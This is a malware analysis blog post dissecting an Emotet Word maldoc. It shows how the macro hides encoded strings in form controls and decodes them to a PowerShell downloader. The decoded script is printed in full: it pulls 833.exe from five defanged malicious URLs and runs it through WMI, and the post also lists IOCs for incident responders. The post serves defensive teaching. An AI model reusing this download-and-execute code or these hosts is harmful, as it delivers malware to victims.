So, Emotet’s Back Huh…

So, Emotet’s back after a hiatus of around 5 months and, as per claims around the internet, delivered around 80k spam emails in 24hr on its return. So, let’s see what the Maldoc being delivered this time looks like. We downloaded this particular sample from hxxp://www[.]ahbro[.]com/wp-content/browse/omxl046951300lyxdvye9ksa2j. Let’s begin then.

First, let’s see how the latest document has been designed to lure the end-user to “enable content”.

So, this is what it looks like, they have moved away from the previous blue background document. Another neat social engineering trick. Since we have seen what the document looks like, let’s proceed further with our analysis. As with any maldoc, we first ran oledump.py to see the macro streams present in the doc.

If you’re wondering how one could analyze and extract malicious macros from a maldoc the quickest way, then I have another post that you want to read on before hopping onto this article.

We have three macro streams in our document, numbered 14, 15, and 16. The next step would be to look into those macros and figure out what the doc will do.

Well, Emotet has been around for so lonngggg that we already kind of know what the maldoc will do, but let’s see how it will be doing that this time around.

We can continue to use oledump.py to see the individual macro, or we can also use olevba.py. But I found Microsoft developer tools a better option for this doc. So, that’s what we will be using here.

If you are like me and don’t know about the developer tools (yeah, I didn’t know about it before writing this post/analyzing this doc), then open Word –> Files –> Options –> Customize Ribbon and check the box against Developer in the right window and then OK. It should look like this.

Moving ahead, we open our document and check the Developer tab at the ribbon to see the contents of the doc. This is what we got.

So, just like previous Emotet documents, Emotet continues to use Forms to store encoded strings in different parameters that will be concatenated later on. We will see that as well. First, let’s just glance through these separate contents. Starting with “Microsoft Word Objects“.

So, we have a Document_open() function here, which, pretty clear from the name, will do something when the document will be opened. And that something should be in “voefbiayjex”. We will find this, later on, now let’s move to “Forms,” which has something called “woicroib“. Based on how Emotet has used “Forms” in the past, this time, too, it will, most probably, have distributed, encoded strings that will be used in the main function. We will check that too. Let’s see the “Forms” now.

We can see here that Forms contains woicroib with multiple other attributes like Frame, Image, Combobox, etc., having random names. So, all these attributes must be hiding/storing data needed by Emotet to download the second stage payload on the machine. Let’s move to the “Modules” part and see what it has stored for us.

So, looks like “Modules” contain the main function here. If we remember from the “Microsoft Word Objects” component of the document, the “Document_open()” was calling “voefbiayjex“. Here, we can see that being defined. But that’s not the only function, and there are other functions defined as well. Those can be seen in the right corner dropdown.

So far, we saw the document’s structure, the components and functions being used, and also, we know where to look for if any of these functions/ variables are being called out in the macro. Let’s proceed further and take a more detailed look at the macro.

The above two snippets are from the “Modules” (queuthdoibfuwriot) component we saw earlier. I have divided that into two parts: Part 1 and Part 2.

Let’s take a closer look now.

Since we have seen many of the random strings being used in the code in our document structure, it will be less complicated for us to make sense out of them. Glancing over the above two parts, we can see that woicroib has been used quite a few times and we know what woicroib is.

Looking at the sub-functions first, since they are being called in the main function. “woicroib” is being used at line 65 in part 2, and the value is being assigned to “io“. We need to go to “woicroib.raopfeukchaup.Pages(1).ControlTipText” in our doc structure to get the value for “io“.

So, following the mentioned path and ending up at ControlTipText, it looks like it’s empty but don’t worry, irrespective of what it looks like, let’s copy the value for that parameter and paste it somewhere.

So, our ControlTipText wasn’t empty after all and had this string stored in it. A quick look through the string and we can see a pattern being repeated in the whole string, and that is “3264gyjvgjh^&Fv2b3dsdfffw23”. Next, we can try to remove this repeating string to make it more readable.

Also, if we look at part 2, function “cheixbeachjeuhkiam” line 48, there is a reference to the repeating string we found. So, we can be sure that the string has something to do with the value stored in the “io” variable now. Used, cyberchef, and applied split function on the string from “io“.

And look what we got as the output.

powersheLL -e JABblahblahblah… We all know what our next step will be, “JAB” gives away that the rest of the string is base64 encoded. JAB decodes to “$.” There are many other common strings that malware analysts come across, which kind of help to determine if the string is Base64 encoded.

Those can be found here, “https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639,” and Neo23x0 is Florian Roth, in case you didn’t know.

So, now our next step would be to decode the remaining string and see the results. Again, I used cyberchef (https://gchq.github.io/CyberChef) to get this done. And the output we got is…

$hainyouhtien=’quaoqusioqufumjuj’;[Net.ServicePointManager]::”SEcuRItYpROToCol” = ‘tls12, tls11, tls’;$moimxeij = ‘833’;$gaiquvuquciel=’mierquixfioyweeg’;$jiktheercienrooch=$env:userprofile+”+$moimxeij+’.exe’;$lotnesmoedpieh=’miocchaszorcheic’;$fuuxyajyad=&(‘new-‘+’ob’+’jec’+’t’) NET.WEbClIEnt;$neowcauz=’http://www.suprshoes[.]com/wp-includes/qf1/http://theprizeguys[.]uk/test/1iu9sk/https://xavierlin[.]com/wp-includes/ojyqm/http://wiki-lspd[.]xyz/cgi-bin/bi3ygxO/https://sigmanled[.]com/9ij4nd/q5n3yt/‘.”sPLIT"([char]42);$daufvioschaoch='cuaxkixdoingaix';foreach($loelvoelzic in $neowcauz){try{$fuuxyajyad."DowNloAdFILe"($loelvoelzic, $jiktheercienrooch);$xoijxuuj='vasdinboug';If ((&('Get-It'+'e'+'m') $jiktheercienrooch)."LENGth" -ge 24834) {([wmiclass]'win32_Process')."cREATE”($jiktheercienrooch);$lotnierfiel=’yoiswof’;break;$wumzaijvail=’jeagyaumhaen’}}catch{}}$juzgouj=’quoepgam’

From the above-decoded string and based on our prior knowledge of how Emotet works, we can assume that if this document runs on an endpoint with macro-enabled, it will try to download a file from one of the five domains (the domains were de-fanged by me and the original code didn’t had square brackets) mentioned above with name 833.exe to current user’s profile path.

IOCs from this:

ahbro[.]com
suprshoes[.]com
theprizeguys[.]uk
xavierlin[.]com
wiki-lspd[.]xyz
sigmanled[.]com
833.exe
powersheLL.exe

Conclusion

You must think that how can powersheLL.exe, and 833.exe be an IOC. True, we can’t place these under general IOCs but hear me out, if you are doing an investigation related to this very document or a similar one in your org, then IOCs like these will help as well.

Consider yourself an analyst who found a hit to the malicious URL sent in an email to an end-user. You start your investigation, now, based on the IOCs mentioned above, your analysis and remediation can be different. On the user’s machine that you are now investigating, you found that:

• End-user clicked on the URL (ahbro.com), downloaded the doc (DOC_CXG3DZZQX), and that’s it no other IOCs were found. This means that though the user clicked and downloaded the file, she/he was aware enough not to “enable content” as has been told multiple times by their security team, and hence, your remedial steps will be different.

• Now, if on the user’s machine you found a powershell instance being run as “powersheLL,” then a hit to any of the other five domains, and then an executable named 833.exe. That’s it, you might end up with an incident. So, that’s how all those IOCs can help frame your investigation and end result. You might end up mentioning all these IOCs in your final report for the incident.

Also, when we ran this doc in a sandbox, we missed some of the IOCs. As it was a dynamic analysis, the malicious executable was found on the very first domain mentioned in the powershell code, and so the sandbox didn’t return the remaining four domains as IOCs. This can happen with sandboxes.

Now, as mentioned in the very beginning that 80k emails were sent in the 24hrs, sitting and analyzing each one of them for IOCs won’t be possible. So, if your org is one of those which are dealing with Emotet, check out this site, https://paste.cryptolaemus.com. Twitter has an account, too, @cryptolaemus1. They are doing a tremendous job when it comes to emotet and has been tracking it for years now. You can get your daily IOCs from that site.

That’s it… You have reached the end, and I hope this post helped you learn a thing or two… 🙂

PS: This is my very first blog post, and I tried to be as detailed as I could while being precise. There’s always room for improvement, though, so welcome your suggestions and feedback. And a token of thanks if you were able to reach the end.